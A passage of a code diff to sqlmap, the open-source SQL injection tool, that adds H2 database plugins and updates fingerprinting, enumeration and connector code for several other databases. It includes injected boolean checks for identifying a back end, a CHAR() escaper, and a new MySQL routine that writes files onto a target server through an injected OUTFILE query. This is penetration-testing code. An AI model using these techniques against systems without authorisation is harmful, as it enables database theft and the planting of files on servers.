Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import Format
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.request import inject
|
||||
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||
|
||||
class Fingerprint(GenericFingerprint):
|
||||
def __init__(self):
|
||||
GenericFingerprint.__init__(self, DBMS.H2)
|
||||
|
||||
def getFingerprint(self):
|
||||
value = ""
|
||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if kb.data.banner:
|
||||
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
value += "%s\n" % dbmsOsFp
|
||||
|
||||
value += "back-end DBMS: "
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += DBMS.H2
|
||||
return value
|
||||
|
||||
actVer = Format.getDbms()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
return value
|
||||
|
||||
def checkDbms(self):
|
||||
if not conf.extensiveFp and Backend.isDbmsWithin(H2_ALIASES):
|
||||
setDbms("%s %s" % (DBMS.H2, Backend.getVersion()))
|
||||
|
||||
self.getBanner()
|
||||
|
||||
return True
|
||||
|
||||
infoMsg = "testing %s" % DBMS.H2
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("ZERO() IS 0")
|
||||
|
||||
if result:
|
||||
infoMsg = "confirming %s" % DBMS.H2
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3")
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.H2
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
else:
|
||||
setDbms(DBMS.H2)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.H2
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
def getHostname(self):
|
||||
warnMsg = "on H2 it is not possible to enumerate the hostname"
|
||||
logger.warn(warnMsg)
|
||||
@@ -0,0 +1,24 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||
|
||||
class Syntax(GenericSyntax):
|
||||
def __init__(self):
|
||||
GenericSyntax.__init__(self)
|
||||
|
||||
@staticmethod
|
||||
def escape(expression, quote=True):
|
||||
"""
|
||||
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar")
|
||||
'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar'
|
||||
"""
|
||||
|
||||
def escaper(value):
|
||||
return "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value)))
|
||||
|
||||
return Syntax._escape(expression, quote, escaper)
|
||||
@@ -0,0 +1,31 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||
|
||||
class Takeover(GenericTakeover):
|
||||
def __init__(self):
|
||||
GenericTakeover.__init__(self)
|
||||
|
||||
def osCmd(self):
|
||||
errMsg = "on H2 it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osShell(self):
|
||||
errMsg = "on H2 it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osPwn(self):
|
||||
errMsg = "on H2 it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osSmb(self):
|
||||
errMsg = "on H2 it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
@@ -17,5 +17,5 @@ class Filesystem(GenericFilesystem):
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
|
||||
errMsg = "on HSQLDB it is not possible to read files"
|
||||
errMsg = "on HSQLDB it is not possible to write files"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
@@ -47,7 +47,7 @@ class Fingerprint(GenericFingerprint):
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
|
||||
if re.search(r"-log$", kb.data.banner):
|
||||
banVer += ", logging enabled"
|
||||
@@ -106,6 +106,13 @@ class Fingerprint(GenericFingerprint):
|
||||
|
||||
return False
|
||||
else:
|
||||
result = inject.checkBooleanExpression("ZERO() IS 0") # Note: check for H2 DBMS (sharing majority of same functions)
|
||||
if result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
kb.data.has_information_schema = True
|
||||
Backend.setVersion(">= 1.7.2")
|
||||
setDbms("%s 1.7.2" % DBMS.HSQLDB)
|
||||
|
||||
@@ -12,6 +12,7 @@ except:
|
||||
|
||||
import logging
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
@@ -35,7 +36,7 @@ class Connector(GenericConnector):
|
||||
database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port)
|
||||
self.connector = ibm_db_dbi.connect(database, self.user, self.password)
|
||||
except ibm_db_dbi.OperationalError, msg:
|
||||
raise SqlmapConnectionException(msg)
|
||||
raise SqlmapConnectionException(getSafeExString(msg))
|
||||
|
||||
self.initCursor()
|
||||
self.printConnected()
|
||||
@@ -44,16 +45,16 @@ class Connector(GenericConnector):
|
||||
try:
|
||||
return self.cursor.fetchall()
|
||||
except ibm_db_dbi.ProgrammingError, msg:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
|
||||
return None
|
||||
|
||||
def execute(self, query):
|
||||
try:
|
||||
self.cursor.execute(query)
|
||||
except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
|
||||
except ibm_db_dbi.InternalError, msg:
|
||||
raise SqlmapConnectionException(msg[1])
|
||||
raise SqlmapConnectionException(getSafeExString(msg))
|
||||
|
||||
self.connector.commit()
|
||||
|
||||
|
||||
@@ -44,7 +44,7 @@ class Fingerprint(GenericFingerprint):
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
|
||||
@@ -13,6 +13,6 @@ class Connector(GenericConnector):
|
||||
GenericConnector.__init__(self)
|
||||
|
||||
def connect(self):
|
||||
errMsg = "on SAP MaxDB it is not possible to establish a "
|
||||
errMsg = "on SAP MaxDB it is not (currently) possible to establish a "
|
||||
errMsg += "direct connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import safeSQLIdentificatorNaming
|
||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||
@@ -43,9 +42,8 @@ class Enumeration(GenericEnumeration):
|
||||
logger.info(infoMsg)
|
||||
|
||||
rootQuery = queries[DBMS.MAXDB].dbs
|
||||
randStr = randomStr()
|
||||
query = rootQuery.inband.query
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.schemaname' % randStr], blind=True)
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.schemaname' % kb.aliasName], blind=True)
|
||||
|
||||
if retVal:
|
||||
kb.data.cachedDbs = retVal[0].values()[0]
|
||||
@@ -79,9 +77,8 @@ class Enumeration(GenericEnumeration):
|
||||
rootQuery = queries[DBMS.MAXDB].tables
|
||||
|
||||
for db in dbs:
|
||||
randStr = randomStr()
|
||||
query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER')
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.tablename' % randStr], blind=True)
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=True)
|
||||
|
||||
if retVal:
|
||||
for table in retVal[0].values()[0]:
|
||||
@@ -193,7 +190,7 @@ class Enumeration(GenericEnumeration):
|
||||
|
||||
if dumpMode and colList:
|
||||
table = {}
|
||||
table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList)
|
||||
table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList)
|
||||
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
|
||||
continue
|
||||
|
||||
@@ -202,15 +199,14 @@ class Enumeration(GenericEnumeration):
|
||||
infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
|
||||
logger.info(infoMsg)
|
||||
|
||||
randStr = randomStr()
|
||||
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER')
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.columnname' % randStr, '%s.datatype' % randStr, '%s.len' % randStr], blind=True)
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=True)
|
||||
|
||||
if retVal:
|
||||
table = {}
|
||||
columns = {}
|
||||
|
||||
for columnname, datatype, length in zip(retVal[0]["%s.columnname" % randStr], retVal[0]["%s.datatype" % randStr], retVal[0]["%s.len" % randStr]):
|
||||
for columnname, datatype, length in zip(retVal[0]["%s.columnname" % kb.aliasName], retVal[0]["%s.datatype" % kb.aliasName], retVal[0]["%s.len" % kb.aliasName]):
|
||||
columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length)
|
||||
|
||||
table[tbl] = columns
|
||||
|
||||
@@ -46,9 +46,9 @@ class Fingerprint(GenericFingerprint):
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None
|
||||
version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
||||
servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None
|
||||
release = kb.bannerFp.get("dbmsRelease")
|
||||
version = kb.bannerFp.get("dbmsVersion")
|
||||
servicepack = kb.bannerFp.get("dbmsServicePack")
|
||||
|
||||
if release and version and servicepack:
|
||||
banVer = "%s %s " % (DBMS.MSSQL, release)
|
||||
|
||||
@@ -13,6 +13,7 @@ except:
|
||||
import logging
|
||||
import struct
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
@@ -37,10 +38,8 @@ class Connector(GenericConnector):
|
||||
|
||||
try:
|
||||
self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True)
|
||||
except (pymysql.OperationalError, pymysql.InternalError), msg:
|
||||
raise SqlmapConnectionException(msg[1])
|
||||
except struct.error, msg:
|
||||
raise SqlmapConnectionException(msg)
|
||||
except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error), msg:
|
||||
raise SqlmapConnectionException(getSafeExString(msg))
|
||||
|
||||
self.initCursor()
|
||||
self.printConnected()
|
||||
@@ -49,7 +48,7 @@ class Connector(GenericConnector):
|
||||
try:
|
||||
return self.cursor.fetchall()
|
||||
except pymysql.ProgrammingError, msg:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
|
||||
return None
|
||||
|
||||
def execute(self, query):
|
||||
@@ -59,9 +58,9 @@ class Connector(GenericConnector):
|
||||
self.cursor.execute(query)
|
||||
retVal = True
|
||||
except (pymysql.OperationalError, pymysql.ProgrammingError), msg:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
|
||||
except pymysql.InternalError, msg:
|
||||
raise SqlmapConnectionException(msg[1])
|
||||
raise SqlmapConnectionException(getSafeExString(msg))
|
||||
|
||||
self.connector.commit()
|
||||
|
||||
|
||||
@@ -5,6 +5,8 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import getSQLSnippet
|
||||
from lib.core.common import isNumPosStrValue
|
||||
from lib.core.common import isTechniqueAvailable
|
||||
from lib.core.common import popValue
|
||||
@@ -16,11 +18,13 @@ from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.decorators import stackedmethod
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import EXPECTED
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.union.use import unionUse
|
||||
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||
|
||||
@@ -112,6 +116,34 @@ class Filesystem(GenericFilesystem):
|
||||
|
||||
return self.askCheckWrittenFile(wFile, dFile, forceCheck)
|
||||
|
||||
def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
|
||||
logger.debug("encoding file to its hexadecimal string value")
|
||||
|
||||
fcEncodedList = self.fileEncode(wFile, "hex", True)
|
||||
fcEncodedStr = fcEncodedList[0][2:]
|
||||
fcEncodedStrLen = len(fcEncodedStr)
|
||||
|
||||
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
|
||||
warnMsg = "the injection is on a GET parameter and the file "
|
||||
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
|
||||
warnMsg += "bytes, this might cause errors in the file "
|
||||
warnMsg += "writing process"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr)
|
||||
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
|
||||
payload = agent.payload(newValue=query)
|
||||
Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
|
||||
|
||||
warnMsg = "expect junk characters inside the "
|
||||
warnMsg += "file as a leftover from original query"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
return self.askCheckWrittenFile(wFile, dFile, forceCheck)
|
||||
|
||||
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
|
||||
debugMsg = "creating a support table to write the hexadecimal "
|
||||
debugMsg += "encoded file to"
|
||||
@@ -130,6 +162,8 @@ class Filesystem(GenericFilesystem):
|
||||
|
||||
logger.debug("inserting the hexadecimal encoded file to the support table")
|
||||
|
||||
inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)
|
||||
|
||||
for sqlQuery in sqlQueries:
|
||||
inject.goStacked(sqlQuery)
|
||||
|
||||
|
||||
@@ -48,11 +48,11 @@ class Fingerprint(GenericFingerprint):
|
||||
(50000, 50096), # MySQL 5.0
|
||||
(50100, 50172), # MySQL 5.1
|
||||
(50400, 50404), # MySQL 5.4
|
||||
(50500, 50558), # MySQL 5.5
|
||||
(50600, 50638), # MySQL 5.6
|
||||
(50700, 50720), # MySQL 5.7
|
||||
(50500, 50564), # MySQL 5.5
|
||||
(50600, 50644), # MySQL 5.6
|
||||
(50700, 50726), # MySQL 5.7
|
||||
(60000, 60014), # MySQL 6.0
|
||||
(80000, 80003), # MySQL 8.0
|
||||
(80000, 80015), # MySQL 8.0
|
||||
)
|
||||
|
||||
index = -1
|
||||
@@ -124,7 +124,7 @@ class Fingerprint(GenericFingerprint):
|
||||
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp["dbmsVersion"] if "dbmsVersion" in kb.bannerFp else None
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
|
||||
if banVer and re.search(r"-log$", kb.data.banner):
|
||||
banVer += ", logging enabled"
|
||||
|
||||
@@ -46,7 +46,7 @@ class Fingerprint(GenericFingerprint):
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
|
||||
@@ -45,7 +45,7 @@ class Fingerprint(GenericFingerprint):
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
@@ -73,7 +73,7 @@ class Fingerprint(GenericFingerprint):
|
||||
infoMsg = "testing %s" % DBMS.PGSQL
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("[RANDNUM]::int=[RANDNUM]")
|
||||
result = inject.checkBooleanExpression("QUOTE_IDENT(NULL) IS NULL")
|
||||
|
||||
if result:
|
||||
infoMsg = "confirming %s" % DBMS.PGSQL
|
||||
|
||||
@@ -45,7 +45,7 @@ class Fingerprint(GenericFingerprint):
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
|
||||
@@ -7,7 +7,6 @@ See the file 'LICENSE' for copying permission
|
||||
|
||||
from lib.core.common import filterPairValues
|
||||
from lib.core.common import isTechniqueAvailable
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import safeSQLIdentificatorNaming
|
||||
from lib.core.common import unArrayizeValue
|
||||
@@ -38,7 +37,6 @@ class Enumeration(GenericEnumeration):
|
||||
|
||||
rootQuery = queries[DBMS.SYBASE].users
|
||||
|
||||
randStr = randomStr()
|
||||
query = rootQuery.inband.query
|
||||
|
||||
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
||||
@@ -47,7 +45,7 @@ class Enumeration(GenericEnumeration):
|
||||
blinds = (True,)
|
||||
|
||||
for blind in blinds:
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind)
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName)
|
||||
|
||||
if retVal:
|
||||
kb.data.cachedUsers = retVal[0].values()[0]
|
||||
@@ -94,7 +92,6 @@ class Enumeration(GenericEnumeration):
|
||||
logger.info(infoMsg)
|
||||
|
||||
rootQuery = queries[DBMS.SYBASE].dbs
|
||||
randStr = randomStr()
|
||||
query = rootQuery.inband.query
|
||||
|
||||
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
||||
@@ -103,7 +100,7 @@ class Enumeration(GenericEnumeration):
|
||||
blinds = [True]
|
||||
|
||||
for blind in blinds:
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind)
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName)
|
||||
|
||||
if retVal:
|
||||
kb.data.cachedDbs = retVal[0].values()[0]
|
||||
@@ -146,9 +143,8 @@ class Enumeration(GenericEnumeration):
|
||||
|
||||
for db in dbs:
|
||||
for blind in blinds:
|
||||
randStr = randomStr()
|
||||
query = rootQuery.inband.query % db
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind)
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName)
|
||||
|
||||
if retVal:
|
||||
for table in retVal[0].values()[0]:
|
||||
@@ -210,7 +206,7 @@ class Enumeration(GenericEnumeration):
|
||||
raise SqlmapNoneDataException(errMsg)
|
||||
|
||||
for tbl in tblList:
|
||||
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl)
|
||||
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
|
||||
|
||||
if bruteForce:
|
||||
resumeAvailable = False
|
||||
@@ -268,7 +264,7 @@ class Enumeration(GenericEnumeration):
|
||||
|
||||
if dumpMode and colList:
|
||||
table = {}
|
||||
table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList)
|
||||
table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList)
|
||||
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
|
||||
continue
|
||||
|
||||
@@ -278,18 +274,17 @@ class Enumeration(GenericEnumeration):
|
||||
logger.info(infoMsg)
|
||||
|
||||
for blind in blinds:
|
||||
randStr = randomStr()
|
||||
query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.usertype' % randStr], blind=blind)
|
||||
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.usertype' % kb.aliasName], blind=blind, alias=kb.aliasName)
|
||||
|
||||
if retVal:
|
||||
table = {}
|
||||
columns = {}
|
||||
|
||||
for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.usertype" % randStr])):
|
||||
for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.usertype" % kb.aliasName])):
|
||||
columns[name] = SYBASE_TYPES.get(int(type_) if isinstance(type_, basestring) and type_.isdigit() else type_, type_)
|
||||
|
||||
table[safeSQLIdentificatorNaming(tbl)] = columns
|
||||
table[safeSQLIdentificatorNaming(tbl, True)] = columns
|
||||
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
|
||||
|
||||
break
|
||||
|
||||
@@ -46,7 +46,7 @@ class Fingerprint(GenericFingerprint):
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
|
||||
@@ -88,6 +88,7 @@ class Custom:
|
||||
try:
|
||||
query = raw_input("sql-shell> ")
|
||||
query = getUnicode(query, encoding=sys.stdin.encoding)
|
||||
query = query.strip("; ")
|
||||
except KeyboardInterrupt:
|
||||
print
|
||||
errMsg = "user aborted"
|
||||
|
||||
@@ -261,24 +261,28 @@ class Databases:
|
||||
rootQuery = queries[Backend.getIdentifiedDbms()].tables
|
||||
|
||||
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
||||
query = rootQuery.inband.query
|
||||
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
|
||||
values = []
|
||||
|
||||
if condition:
|
||||
if not Backend.isDbms(DBMS.SQLITE):
|
||||
query += " WHERE %s" % condition
|
||||
for query, condition in ((rootQuery.inband.query, getattr(rootQuery.inband, "condition", None)), (getattr(rootQuery.inband, "query2", None), getattr(rootQuery.inband, "condition2", None))):
|
||||
if not isNoneValue(values) or not query:
|
||||
break
|
||||
|
||||
if conf.excludeSysDbs:
|
||||
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
|
||||
logger.info(infoMsg)
|
||||
query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
|
||||
else:
|
||||
query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))
|
||||
if condition:
|
||||
if not Backend.isDbms(DBMS.SQLITE):
|
||||
query += " WHERE %s" % condition
|
||||
|
||||
if len(dbs) < 2 and ("%s," % condition) in query:
|
||||
query = query.replace("%s," % condition, "", 1)
|
||||
if conf.excludeSysDbs:
|
||||
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
|
||||
logger.info(infoMsg)
|
||||
query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
|
||||
else:
|
||||
query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))
|
||||
|
||||
values = inject.getValue(query, blind=False, time=False)
|
||||
if len(dbs) < 2 and ("%s," % condition) in query:
|
||||
query = query.replace("%s," % condition, "", 1)
|
||||
|
||||
if query:
|
||||
values = inject.getValue(query, blind=False, time=False)
|
||||
|
||||
if not isNoneValue(values):
|
||||
values = filter(None, arrayizeValue(values))
|
||||
@@ -434,7 +438,7 @@ class Databases:
|
||||
raise SqlmapNoneDataException(errMsg)
|
||||
|
||||
elif conf.db is not None:
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
|
||||
conf.db = conf.db.upper()
|
||||
|
||||
if ',' in conf.db:
|
||||
@@ -461,7 +465,7 @@ class Databases:
|
||||
colList = filter(None, colList)
|
||||
|
||||
if conf.tbl:
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
|
||||
